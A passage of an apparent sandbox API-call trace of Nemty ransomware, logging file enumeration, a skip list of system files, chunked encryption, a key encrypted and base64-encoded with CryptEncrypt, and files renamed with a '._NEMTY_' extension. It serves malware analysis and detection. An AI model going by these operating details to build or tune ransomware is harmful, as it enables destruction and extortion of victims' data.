lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.533] CloseHandle (hObject=0xffffffff) returned 0 [0084.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0084.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0084.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.534] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv._nemty_kgobjgd_")) returned 0 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.534] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2=".") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="..") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="...") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="windows") returned -1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="rsa") returned -1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="ntldr") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="IO.SYS") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="boot.ini") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="boot.ini") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="ntuser.dat") returned 1 [0084.534] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="desktop.ini") returned 1 [0084.535] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0084.535] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="RECYCLER") returned -1 [0084.535] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0084.535] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="bootmgr") returned 1 [0084.535] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="programdata") returned -1 [0084.535] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="appdata") returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0084.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0084.535] Sleep (dwMilliseconds=0x5) [0084.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe60ae130, dwHighDateTime=0x1d561e7)) [0084.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe60ae130, dwHighDateTime=0x1d561e7)) [0084.550] GetLastError () returned 0x5 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.550] GetLastError () returned 0x5 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0084.550] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0084.550] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0084.550] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0084.550] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="jvhzSp1QGgElLcAUrK9VOa3dzjWnv0w/raBUwBlfsrdJdGLvY0L+nxV/cZfcLZPA\r\naVIpFJ13Ay9LCFw1/JdeSQlLkhcw8cwJEXZNjA5GJTz/SoAxfoDFKtJeR4gxu+Ad\r\n3Svhi6KVO8BjsEyLym7XY2cP3xDIzKYGdUz0iYWKJDQcu2FseMbwzdH+MI9jkjgB\r\nAqMAoQb634FaMLtncRPi3bF+KQYTXmT7DmowrUK1RCuZFruwERyh4nkrnICYblLP\r\nH/a7bvapgcf1TkiCRiIjntME+p9MIBuiqlevav1jquiV/c/1G88jQaOeUsa8J/Vo\r\nw8SaCv0bjNteoBvOhRLgeg==\r\n", pcchString=0x653e91c) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0084.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0084.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.550] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.551] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0084.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 